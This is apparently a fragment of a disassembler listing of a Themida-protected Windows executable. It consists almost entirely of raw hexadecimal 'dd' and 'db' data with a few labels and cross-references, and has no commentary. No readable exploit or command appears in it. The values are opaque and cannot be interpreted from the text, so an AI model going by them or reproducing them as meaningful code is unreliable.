		dd 786B480h, 9D87B1A2h,	0B20B6097h, 7864A8Fh, 9D87B1A2h
		dd 320B6097h, 979D8701h, 4EE747D0h, 0ED65944h, 4809AED1h
		dd 99979DA2h, 186975A2h, 342D9DFh, 6BB7D6D4h, 30A915E1h
		dd 9ADD6C6Ah, 0C38E5F5Dh, 0AE919016h, 0D506652Bh, 1D0669F4h
		dd 87000000h, 6E5517C4h, 624DD9D0h, 0CF7695C2h,	7049860Ch
		dd 4939AE8Ah, 208BDA99h, 777DBB0Ch, 0D92C686Eh,	0C05B6196h
		dd 34575B81h, 25404E8Dh, 287341BAh, 1F6E34A9h, 9B21D4h
		dd 769519C1h, 788307CFh, 7DB068F2h, 14890000h, 0E0895024h
		dd 405h, 4E88300h, 5C240487h, 57242C89h, 0C781E789h, 4
		dd 4EF81h, 3C870000h, 0C895C24h, 2D685124h, 8B16104Dh
		dd 0C481240Ch, 4, 513CF181h, 0E9812620h, 2A4A7CE9h, 6859CD89h
		dd 503Bh, 83242489h, 59042404h,	8BE5653h, 89000000h, 0CB015EF3h
		dd 0FF5B2B89h, 81592434h, 4C4h,	2434FF00h, 4C4835Dh, 0FCD4EEE9h
		dd 24544AFFh, 92B8816Ch, 0E5AAA6B8h, 0FFC50305h, 0B1EC97E0h
		dd 0AEB02E3Ah, 0D056553Ch, 9D796122h, 0E7AE124Bh, 8DFDD23Ah
		dd 0AB543B12h, 8DBDB712h, 284FB10Ch, 0C4EF433Dh, 0E1210302h
		dd 75E923h, 66600000h, 4A8D88Ch, 35840Fh, 16A0000h, 262DB5FFh
		dd 858D05E2h, 5E57A61h,	8589D0FFh, 5E22D15h, 0EFC1FE8Bh
		dd 680Ch, 6A2004h, 6857026Ah, 1000Dh, 2D1595FFh, 32E905E2h
		dd 0C6000000h, 0E20A4985h, 0DF685605h, 0FFA9C530h, 0E216A1B5h
		dd 61858D05h, 0FF05E57Ah, 798589D0h, 8D05E224h,	0E2093585h
		dd 206A5005h, 0FF56056Ah, 0E2247995h, 0C1C36105h, 4BEB06E0h
dword_528898	dd 2F0E0910h, 4B1AC53Ch, 1CA4ACDAh, 5C5CD2D4h, 34CE00E4h
					; DATA XREF: Themida_:004EED98o
		dd 0CE1BF531h, 0D129B327h, 0C7DD5B34h, 0CE17E62Ah, 6734DF1Bh
		dd 4600A6DBh, 1A004D82h, 0D5A3EAh, 9C000000h, 0FEBC19h
		dd 0FBFE3C00h, 28000000h, 0D427E641h, 0E9C3727Dh, 0F29h
		dd 185D958Bh
		db 0E2h, 5
word_5288EE	dw 0BD83h		; DATA XREF: Themida_:004EFB00o
					; Themida_:004F0FF0o
		dd 5E200B9h, 49850F00h,	8B000000h, 0E200699Dh, 0B805h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0BE7238C3h, 0E9845523h, 12h, 0D31FE3CBh
		dd 0B2BE7388h, 0C8209A1Bh, 9A55B151h, 4C2715Ah,	0DBBF0F00h
		dd 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 0BD83C9C3h, 5E21EA9h, 83097500h, 0E21805BDh
		dd 13740005h, 0C08B5350h, 4D0B8h, 0CE9D8D00h, 0FF05E4B0h
		dd 83585BD3h, 0E21805BDh, 11740005h, 0D0B85350h, 8D000004h
		dd 0E4B01B9Dh, 5BD3FF05h, 50006A58h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 6221AC0Bh
		dd 3FA9AC53h, 0EEB9660Dh, 53006A0Dh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0BAF88BB1h
		dd 27E60CD8h, 0BD89C08Bh, 5E23265h, 10870Fh, 8E80000h
		dd 12000000h, 9851711Ch, 0B65E8D76h, 858D5B69h,	5E5AC24h
		dd 6840Fh, 958B0000h, 5E20C09h,	24048950h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 3AC35141h, 0FC5D66A2h
		dd 549F3790h, 0C49B529h, 858D05E2h, 5E5ABE1h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 7C35646h, 0AE81052h
		dd 99000000h, 0E24EC6D8h, 1E0A90D9h, 0C9816609h, 505B0E76h
		dd 8870Fh, 66600000h, 60010FBAh, 4896161h, 50006A24h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
		dd 8B38530Eh, 0E21101BDh, 8995FF05h, 6A05E21Ah,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 3F21C356h, 96E4B475h, 0EB9BB32Ch, 2951D78Bh,	0E2075195h
		dd 448B5A05h, 0FE90424h, 0B4000000h, 17C33E53h,	3D008124h
		dd 0E248B4B9h, 8589DBC3h, 5E21905h, 0AC0C8589h,	0BD0905E5h
		dd 5E20881h, 824448Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 7C35343h, 89A4665Bh, 0E20E8DB5h, 20858905h
		dd 6A05E5ACh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 83BFC357h, 0E23311BDh,	850F0005h
		dd 14Dh, 18A99589h, 85C605E2h, 5E20A49h, 98D8B47h, 0BF05E223h
		dd 44F8AC18h, 4E8h, 9AA7D200h, 992B9D4h, 8B500160h, 60042444h
		dd 0DE8h, 0D839C800h, 21D6AB66h, 0AFDA7364h, 9E83FDBh
		dd 31000000h, 5DE8B81h,	0A59F0E12h, 0F28B5F5Eh,	0E8008B61h
		dd 0Eh,	544E20F0h, 0DFCF2398h, 0D86FE9D5h, 35B9614Ch, 597D6D7Eh
		dd 4244489h, 0F98B6660h, 52505250h, 585A310Fh, 0FE9310Fh
		dd 8D000000h, 0CAB3CDFAh, 4BB03B65h, 0EC02F2D7h, 585AEAB1h
		dd 3605861h, 0E22C099Dh, 0DD9D8905h, 6105E22Ch,	16A1B5FFh
		dd 6A05E2h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 0DBFB80C3h, 0A3494FBBh, 7A61858Dh, 6A05E5h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 958B7CC3h, 5E20C91h,	6218D89h, 0D0FF05E2h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 7BC35242h, 48D5FC90h
		dd 301CC3BDh, 118589B0h, 6A05E233h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 5E08C355h
		dd 2961F680h, 0E224F1B5h, 0D5BD8305h, 5E230h, 0DB850Fh
		dd 0D88A0000h, 0A4985C6h, 6A4705E2h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0E4C7C351h
		dd 0C8AB97Bh, 0B3463410h, 0D577B3BFh, 4E85Dh, 0B5E20000h
		dd 52508A0Fh, 66FB8B60h, 0F61CF8Bh, 5A66B131h, 0E9535058h
		dd 0Bh,	9190C682h, 0DB84E4B2h, 59EEB6B2h, 424448Bh, 0BA665250h
		dd 310FE6ACh, 28F0Fh, 61600000h, 8B585Ah, 4489FC8Ah, 60500424h
		dd 0BE9h, 16005400h, 498BAAA2h,	587F5FB7h, 8B585A61h, 0E209E9BDh
		dd 0A1B5FF05h, 8D05E216h, 0E57A6185h, 44D38005h, 8D29D0FFh
		dd 5E21551h, 89DAB70Fh,	0E230D585h, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0EF24752Fh
		dd 0C92E63DAh, 85BD83F8h, 5E205h, 0ED850Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 3AD99CC3h, 1B84A42Bh, 505A9D64h, 725C381h, 0C65A339Eh
		dd 0E20A4985h, 958B5605h, 5E22391h, 510DDB68h, 0FE8B8h
		dd 3F3B0000h, 8AF35E6Fh, 852E070Eh, 3FC9C013h, 6160606Dh
		dd 5A61FEB7h, 0E2243481h, 0E96C4E60h, 13h, 264AA02Ah, 42B0BCEEh
		dd 8CDCED19h, 76B29BECh, 0FF64DDC7h, 0E216A1B5h, 50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 0C2910005h, 0F6AF3BEh, 0BF66FFBFh, 858DC824h, 5E57A61h
		dd 0FFDF8B66h, 57006AD0h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 0A5382C95h, 8A7A110Ah
		dd 1718589h, 858905E2h,	5E20585h, 0D18B6660h, 581B529h
		dd 0C66105E2h, 0E20A4985h, 0F5806C05h, 0B495683Dh, 8B0FA86Eh
		dd 0
		dd 0EE240481h, 6A3296BBh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 0CA7EC357h,	1A473B42h
		dd 2DB5FF85h, 8B05E226h, 0E21B31BDh, 0ED858D05h, 6A05E239h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 0BD3CC350h, 0D126D72Fh, 8BD90191h, 0E22C9195h
		dd 8BD0FF05h, 0E232CDBDh, 12E805h, 0AA320000h, 11A0377Bh
		dd 217341B0h, 0D63D77DFh, 0DF7182F3h, 2800Fh, 0CA8B0000h
		dd 10858959h, 6A05E5ACh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 811C351h, 5CC2813Eh
		dd 6A78411Dh, 4E8F904h,	0
		dd 0E9000010h, 0Fh, 435200B0h, 31F9891Ah, 0EE825E1Ch, 50294760h
		dd 59DE8B53h, 424448Bh,	0A0DEBF66h, 62BB008Bh, 8954B5B8h
		dd 8A042444h, 6A58F4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 30E34EC3h, 6B1068F1h, 6650B8C9h
		dd 815AFB8Bh, 94F02404h, 6A4737h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 53AADAC3h, 0D6E18F54h
		dd 6AE8CFh, 0E856006Ah,	3, 5EC35E20h, 4247489h,	4244481h
		dd 18h,	75C35646h, 53321C65h, 0A8BC80BBh, 0A9BD8922h, 0FF05E231h
		dd 0E2266195h, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 0A799BF60h, 0BD296EC8h
		dd 5E22219h, 0AC1C8589h, 0CF8005E5h, 31006A58h,	0E20EB1BDh
		dd 0BDBD8905h, 0E805E21Fh, 4, 10000h, 12E8h
		db 0
byte_529079	db 36h,	0D0h, 0C8h	; DATA XREF: Themida_:004F0034o
		dd 59070F61h, 7D2B5991h, 0FFCACD9Bh, 0FBDBDEAh,	684h, 860F00h
		dd 5F000000h, 0D38B6650h, 424448Bh, 9E8h, 53198000h, 268A80Dh
		dd 6EB5F4BAh, 60008B5Bh, 58ABB153h, 66585360h, 614FC2BEh
		dd 24448961h, 6ABB6604h, 953358E8h, 5E2053Dh, 24048950h
		dd 6A0B6AF5h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 2CA8C350h, 0E753CBDDh,	16C7A964h
		dd 39FAC6BAh, 0E9858D7Bh, 6A05E5ABh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0C8CFC356h
		dd 68C0FC6h, 1000000h, 0E200BDB5h, 7DBD8905h, 5005E223h
		dd 0E2E86ABBh, 2404895Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 9CC35242h, 34DB56Fh, 0FF36F526h, 0E2331195h
		dd 38C0F05h, 80000000h,	0B58D53EFh, 5E5ABF3h, 0A9AFBF66h
		dd 505F5096h, 6AB95250h, 0F6C8E43h, 38C0F31h, 66000000h
		dd 585ACE8Bh, 50006A96h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 39D258EEh, 9DB663A2h, 52605064h
		dd 0B8586160h, 213263ACh, 24048961h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 0D4C35343h,	818DB5AFh, 0ACF283C3h
		dd 0D595FF75h, 2905E230h, 0E2178D8Dh, 6AD0FF05h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 67CC355h, 3177032Ch,	0E205098Dh, 1CB58B05h, 8905E5ACh
		dd 0E225D595h, 1485C705h, 5E5ACh, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 2C50C356h, 80FC76A5h, 0F00207Eh, 30A84h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 0C927042Ah, 6A6004h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 8D49BFC3h, 6A2046h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 890F25C3h
		dd 0E232FD9Dh, 18858905h, 6005E5ACh, 199D9589h,	0E96105E2h
		dd 27h,	105DBD89h, 6A4005E2h, 3E85000h,	20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 0E189C350h,	808D0948h
		dd 850F0038h, 0FFFFFFD6h, 31E9h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 955BAC05h
		dd 0B3C2C4B4h, 799D8B51h, 4805E206h, 115B589h, 388005E2h
		dd 3C840F5Ch, 66000000h, 3880CE8Bh, 30840F2Fh, 89000000h
		dd 0E218E99Dh, 18853B05h, 0F05E5ACh, 0FFFFD283h, 12E8FFh
		dd 315E0000h, 0B47C7AFBh, 0C5D9B1ADh, 0D6D9D0EDh, 0BF9962B7h
		dd 1F9D9D8Bh, 405B05E2h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 16h, 6EC35141h, 958BF742h,	5E21479h, 0AC20BD83h
		dd 0F0005E5h, 7E84h, 50CF8B00h,	48905B6h, 51006A24h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
		dd 0DDF4A341h, 802E3603h, 850394CFh, 5E5AC20h, 11E8h, 0AE0B7000h
		dd 97202FF0h, 0C73EEF48h, 7291D055h, 7EB7905Dh,	0C65Bh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0DAC35141h
		dd 0A27FA9ECh, 3862A4F9h, 25BAB966h, 1BD8B58h, 9005E20Ah
		dd 0FEBFB952h, 50596365h, 0DFBF0F90h, 0AC0CB5FFh, 6A05E5h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 8666DDC3h, 4038B94h,	0DE91Eh, 0B9B40000h, 4C65E55Dh
		dd 7D12DA9Ch, 0FF9E29BCh, 0E5AC1095h, 659D8B05h, 0B05E22Ch
		dd 9E850FC0h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 0A85C350h, 0B70F81F1h
		dd 66F781C9h, 6129BE11h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 7FC35343h, 85D7E423h,	1D7A8232h, 0AAF38166h
		dd 1485C701h, 105E5ACh,	81000000h, 5B0553D7h, 0C59D8B7Bh
		dd 0E905E209h, 6Fh, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 0C0C35646h, 659589CBh, 0F05E20Bh, 283h
		dd 0BD98B00h, 0E2188195h, 0DF816105h, 6E3B798Fh, 11CC681h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 1E934DC3h, 9B0A0D0h, 0E21EA5BDh, 0FCF1E905h
		dd 8166FFFFh, 0E8C034C9h, 4, 8000h, 12E8h, 53C9BC00h, 0DD24337Dh
		dd 38137D73h, 1C566DF2h, 8B034F95h, 0BF505FCFh,	6E7621E5h
		dd 424448Bh, 0EE8h, 0D2A96900h,	3034CAE0h, 5B3A6938h, 8BE412EBh
		dd 8B5BD9h, 0EE8h
		db 0
byte_5295B5	db 65h,	48h, 2Dh	; DATA XREF: Themida_:004EE708o
		dd 50B09A8Bh, 345F8673h, 0E893F877h, 9,	0A12492Ch, 0DABD0998h
		dd 0F5BA66C9h, 895F5A81h, 8B042444h, 840F58D7h,	6, 10798589h
		dd 6A05E2h, 0E852006Ah,	3, 5AC35A20h, 4245489h,	4244481h
		dd 1Bh,	62C35242h, 0F2415h, 892832BBh, 0E20A51BDh, 1CB5FF05h
		dd 6A05E5ACh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 4934C350h, 0AF1A112Ah,	8B66D79Bh
		dd 8595FFCBh, 6605E205h, 858BCB8Bh, 5E5AC14h, 965958Bh
		dd 0E95005E2h, 12h, 87FA5F8Ch, 41550EC8h, 545263DEh, 0E728448Ch
		dd 489C2A3h, 0F5BD8B24h, 8B05E21Dh, 0E20681BDh,	24858D05h
		dd 6605E5ACh, 0B150D88Bh, 240489CCh, 0F840Fh, 0AE90000h
		dd 44000000h, 0F52D3A73h, 486D64EBh, 0E1858DA5h, 8905E5ABh
		dd 0E210E185h, 0DE89005h, 0C0000000h, 0F6125D94h, 0D54C4C35h
		dd 53B9D2D8h, 9D92BEBAh, 0B3505B78h, 6A9054h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 26216C3h
		dd 12E82FFCh, 33000000h, 0ACEA0CA4h, 9AF2DFF6h,	9675B1F1h
		dd 11EAEB13h, 28BA665Ah, 0F565982h, 0FF5FFBBFh,	0E21DB595h
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 0FB5152CEh, 0DB57E85Ah, 0C08BCA8Ah, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0AAC35747h, 13D5B589h
		dd 0BD8305E2h, 5E21EA9h, 83097500h, 0E21805BDh,	13740005h
		dd 0C08B5350h, 4D0B8h, 359D8D00h, 0FF05E4B1h, 83585BD3h
		dd 0E21805BDh, 11740005h, 0D0B85350h, 8D000004h, 0E4B0349Dh
		dd 5BD3FF05h, 9E95358h,	0A8000000h, 0E5617ED9h,	4462B871h
		dd 0CDB5295Ah, 8B05E217h, 58CF8BC0h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 0EDC35343h,	0B45EB6E2h, 81BD29B7h
		dd 3305E229h, 0E21B31BDh, 8C205h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 0F1C35545h,	4F8326Bh, 8B500E7Dh
		dd 0E2195DBDh, 8B665B05h, 6AC08BD7h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0C64DC351h
		dd 8D2A41A9h, 0E5AC3785h, 0B6BF5705h, 59733BDAh, 33398589h
		dd 39EB05E2h, 0BB0000h,	0BB02CCh, 0BB02E4h, 0
		dd 44C33C82h, 75DA303Ch, 21CB38D4h, 4CC03CA9h, 4DCA7B02h
		dd 75E055DBh, 21E2199Fh
dword_529874	dd 51E121A3h, 49FA3B93h, 45CF3009h, 21C435BDh, 21ADBD8Bh
					; DATA XREF: Themida_:004EE6F8o
		dd 7C8E556Fh, 4D270874h, 652F51FFh, 21BB51C9h, 74EB55F6h
		dd 0AA6345B8h, 1714AC7Dh, 0A2ED3AACh, 0C3B0FCD2h, 28DB55B2h
		dd 39ABE858h, 55AE500Fh, 0AAFD05EFh, 2517EDBBh,	0A42755BDh
		dd 244C6483h, 9354C8E2h, 0F2515053h, 9C2D0D80h,	244C4DE8h
		dd 71B921F6h, 2517ED28h, 0A42755BDh, 244C6483h,	8E47C8E2h
		dd 0F2515053h, 96A10D80h, 0A4A7351Dh, 244C4BBFh, 2E7E07Ah
		dd 0AACF505Fh, 74AE3F1Eh, 21AE5687h, 0E2F375B7h, 5C2DC86h
		dd 5EAD4E9h, 21AE43F2h,	0E2FB107Bh, 0AA7FF11Bh,	0F1115A09h
		dd 2BE7D0A9h, 4BF85055h, 224600DBh, 1AE55EDh, 0A8F396ABh
		dd 0A0AA7117h, 3AAA71F9h, 64AE55DEh, 0BA9E963Ah, 0D5266BC1h
		dd 0AAFCE17Bh, 0C3B65C58h, 0F4C60BF3h, 475FB5D7h, 152FA736h
		dd 69BAD2FAh, 0D4137C02h, 0DEABB7B3h, 0C3B8F46Eh, 0E02F33E8h
		dd 0A423F1AFh, 244B2F1Ah, 175C4203h, 0C97EAAD9h, 21AE5560h
		dd 572BF6D7h, 5F17122Bh, 180BE4ACh, 47C2B725h, 0A4149FFAh
		dd 4BAA3FE4h, 224602DEh, 1AE556Fh, 0A8F196E8h, 0A0AA71A7h
		dd 34AA71A9h, 66AE55F6h, 2134962Ch, 73488C3Dh, 0BC7D0F7h
		dd 49F1508Dh, 0DFBF3994h, 0A07EDEBDh, 827371E9h, 21C45418h
		dd 21ADBD2Ah, 788E55BDh, 6D270C1Dh, 652F514Bh, 21B25193h
		dd 70EF55DBh, 0DB4292Eh, 3AB1CEC1h, 0D9C6C30Ah,	0C82CF051h
		dd 21AE55D2h, 0FBAE3D09h, 0D8BD189h, 1B5C6AF3h,	0D58A516Ch
		dd 2ED30FE3h, 21C4AFC4h, 3833E836h, 0F151503Ch,	0C9FE5505h
		dd 21AE55B4h, 796D0DFBh, 258A1164h, 258A1177h, 21AE5567h
		dd 926D05FDh, 0CA74B207h, 965BD49Ch, 0E199EBD1h, 9A3FD052h
		dd 21C45008h, 21ADBDA5h, 7A8E557Bh, 7D270E7Eh, 652F51FAh
		dd 21B5514Bh, 72ED55B7h, 0D1AE4B18h, 0F5A3F28Ch, 2456DE95h
		dd 21AE57B7h, 9A3BD034h, 0E12D503Bh, 0B82BDC77h, 12ABB00Ch
		dd 2342EC1Bh, 8B5D55EDh, 0C9F9559Ch, 21AE5578h,	7E6D0A9Dh
		dd 258A2957h, 258A11EEh, 21AE55AFh, 5E6D029Ch, 0A45877FEh
		dd 21AE5A1Fh, 19E37D7Bh, 0B8CAC2A1h, 47D0D147h,	1CE573CEh
		dd 2F3BC83Eh, 21C45039h, 21ADBDBCh, 788E55F6h, 6D270CB8h
		dd 652F5199h, 21B851FAh, 70EF556Fh, 5FD23174h, 32D7E8F2h
		dd 0A468500Fh, 244C5FBFh, 0EB115A38h, 21AE5155h, 46C50BDEh
		dd 717FDFF3h, 21AE535Eh, 0E39A79DBh, 0AA92AE2Eh, 2EAA71B2h
		dd 21AE57F2h, 0AA65DFBDh, 23255ADEh, 0ABAE556Fh, 5EADC7Bh
		dd 455CEFDFh, 0C8F614E4h, 21AE55FBh, 962A1561h,	7C32108Dh
		dd 425038F4h, 0C23DC5Dh, 0DEABB787h, 0C3B8F46Eh, 602354E8h
		dd 0ACABB7FBh, 0C4D434FEh, 5C2364B8h, 0DEABB7FFh, 0D6115ABFh
		dd 0D3BD03Eh, 21C45039h, 21ADBDBAh, 7E8E55F6h, 5D270AB8h
		dd 652F5199h, 21BA51FAh, 76E9556Fh, 0A4231174h,	244C587Eh
		dd 0C9F95587h, 21AE55F5h, 7E6D0A5Bh, 258A2934h,	258A115Fh
		dd 21AE557Ah, 8A6D02F0h, 0C2BDC6Eh, 47ABB7F3h, 0E5C4B777h
		dd 2BE7D0BDh, 4BFD505Fh, 224602DEh, 1AE556Fh, 0A8F196E8h
		dd 0A0AA71A7h, 37AA71A9h, 66AE55F6h, 0A597962Ch, 21AABD23h
		dd 697655DEh, 7FF8A9DEh, 511133E7h, 5EADE37h, 71AEDEE9h
		dd 382D5AA4h, 0C9AE557Bh, 21AE55AEh, 16302786h,	0A46CFBA2h
		dd 0EBEB3BC8h, 0CD8B11BCh, 7868658Fh, 9FF864F9h, 7311E467h
		dd 0A8F60FE2h, 94AA719Ah, 21C40D76h, 21ADBDE1h,	7F8E55DBh
		dd 55270B2Eh, 652F51D2h, 21B2515Fh, 77E855BDh, 3A31511Dh
		dd 0D79B159Eh, 94516441h, 244C437Ah, 0C9FD5587h, 21AE55F5h
		dd 7A6D0E5Bh, 258A0934h, 258A115Fh, 21AE5575h, 396D06F4h
		dd 44B67D24h, 0F22470ECh, 5BCFD07Bh, 21C4509Eh,	21ADBDEDh
		dd 798E55DEh, 65270DACh, 652F5193h, 21B651FFh, 71EE55EDh
		dd 7E9F2F35h, 94874632h, 244C4410h, 21C48521h, 21ADBD3Dh
		dd 7B8E55B7h, 75270F18h, 652F51C9h, 21B451D2h, 73EC557Bh
		dd 0F676157Eh, 0B721A607h, 0A427A4E4h, 244C5F0Eh, 21AE5D32h
		dd 0CF70E7EDh, 0E9C14C52h, 682B939Dh, 72ABB7B7h, 4967E2D1h
		dd 981BC325h, 152FAB3Ch, 8CFCACFFh, 801BAA8Ch, 20ABB7E0h
		dd 0C38B70EEh, 402BD8B8h, 0C8ABB0A4h, 21AE557Ch, 53780F36h
		dd 57732C87h, 0DA6AAD5h, 0B74C58CBh, 0DE127FD9h, 603B646Dh
		dd 0A8ABB7CFh, 0C3B978EAh, 76AE3FB2h, 21AE5633h, 0E2F175EDh
		dd 5D2DCA9h, 5EAD47Fh, 21AE41B9h, 0E2F912DEh, 0BC13DC97h
		dd 0E7ABB795h, 0C3A41C5Eh, 0EA2512E8h, 0FD71EC9Eh, 70FC05F4h
		dd 719F5AE2h, 0D925338Ch, 2F476460h, 0E5AE55B7h, 30B834EAh
		dd 332003h, 98F82517h, 7BF60F64h, 5AAD4E5h, 9AFA82Eh, 0C9FF5505h
		dd 21AE55B4h, 786D0CFBh, 258A1964h, 258A1177h, 21AE5567h
		dd 3F6D04FCh, 39C3A1ADh, 4C8B721Fh, 0BF3DECD1h,	370FE024h
		dd 21C4500Fh, 21ADBDA6h, 798E557Bh, 65270D7Eh, 652F51FAh
		dd 21B7514Bh, 71EE55B7h, 0B77AFF18h, 0ACC680F1h, 0C4D43473h
		dd 71AE3F7Eh, 21AE5655h, 0E2F675DEh, 5EADC37h, 5EAD4B3h
		dd 21AE43DFh, 0E2FE15EDh, 0DE3B3C2Bh, 77AE3FABh, 21AE5655h
		dd 0E2F075DEh, 5DADC31h, 5EAD4B3h, 21AE4CDFh, 0E2F813EDh
		dd 4D85F787h, 0A2A1C725h, 21AE55B8h, 7B70D4B8h,	482BDC54h
		dd 2EABB79Bh, 0A468AC6Ch, 244C5FA4h, 76AE3FB1h,	21AE5693h
		dd 0E2F175BDh, 5D2DC81h, 5EAD46Bh, 21AE49B3h, 0E2F912DBh
		dd 61A5876Fh, 5F7A6739h, 0EB195A4Dh, 21AE5155h,	0FDBE2FDEh
		dd 27255AEEh, 41AE55B7h, 981D0B8Dh, 9218058Ch, 258A117Dh
		dd 2125ADF0h, 21ABBDDDh, 9C1C55DEh, 769E46DAh, 0AAC80BEEh
		dd 65273422h, 0AAC851C9h, 21C40D0Eh, 21ADBD2Dh,	7F8E55BDh
		dd 55270B1Dh, 652F514Bh, 21B35193h, 77E855DBh, 86A7572Eh
		dd 803E2393h, 0A8090F53h, 0C3B24408h, 0C72F33DBh, 9451E147h
		dd 244C4316h, 0DC105564h, 402BD89Ch, 4BABB08Ch,	2246037Bh
		dd 1AE55BDh, 0A8F09680h, 0A0AA711Bh, 3BAA71F3h,	67AE55DBh
		dd 0E47296BBh, 0C9723C84h, 901BDE82h, 0DEABB791h, 77AE3F0Eh
		dd 21AE5687h, 0E2F075B7h, 5DADC85h, 5EAD4E9h, 21AE48F2h
		dd 0E2F8137Bh, 61EC142Ch, 5259DB42h, 0ABA1F670h, 21AE55B1h
		dd 3137D850h, 0A427500Fh, 244C5A73h, 0C9F85511h, 21AE55BEh
		dd 7F6D0BFEh, 258A21E6h, 258A1136h, 21AE55C7h, 66D03ABh
		dd 8D337B59h, 0C6A5D2A8h, 0A7BE034h, 0AACE503Ch, 0C3B88CDAh
		dd 0A46834B2h, 244C5F92h, 781BDEAAh, 49ABB7EDh,	5D1AD624h
		dd 33000003h, 5AAD4ADh,	0FB6ED91h, 370FE048h, 285B5039h
		dd 0C3B4D050h, 402BD8F3h, 0A8ABB001h, 0C3BA1C08h, 4B7EAADBh
		dd 2246026Fh, 1AE55B7h,	0A8F19684h, 0A0AA7191h,	37AA71B2h
		dd 66AE557Bh, 733596EAh, 0D248D482h, 2EA68EEEh,	21AE5630h
		dd 0DF2533DBh, 2B2BD064h, 21C45014h, 21ADBD2Ah,	788E55BDh
		dd 6D270C1Dh, 652F514Bh, 21B35193h, 70EF55DBh, 30D6122Eh
		dd 6344574Eh, 0A832EDE0h, 0C38C0800h, 0E02F33DBh, 0F1519514h
		dd 0C9F955DDh, 21AE55D8h, 7E6D0ACDh, 258A297Fh,	258A11FAh
		dd 21AE55A0h, 176D0299h, 137D9C53h, 4FFBF827h, 982CEB98h
		dd 0A427791Ah, 244C550Fh, 0C9F85511h, 21AE55BEh, 7F6D0BFEh
		dd 258A21E6h, 258A1136h, 21AE55C1h, 0B06D03ABh,	0EAEF8D5Ch
		dd 2E47D07Ch, 1BAE55BDh, 0D36B09A0h, 21167A77h,	3E5683Dh
		dd 0ADC88665h
		dd 4BAA7135h, 224605F6h, 1AE557Bh, 0A8F696E5h, 0A0AA719Ah
		dd 3AAA712Bh, 61AE55B7h, 7253968Bh, 0AD39813Ch,	9C270DAFh
		dd 244C7E82h, 0A5A195B7h, 21AE56F7h, 3797D0E6h,	0A4685055h
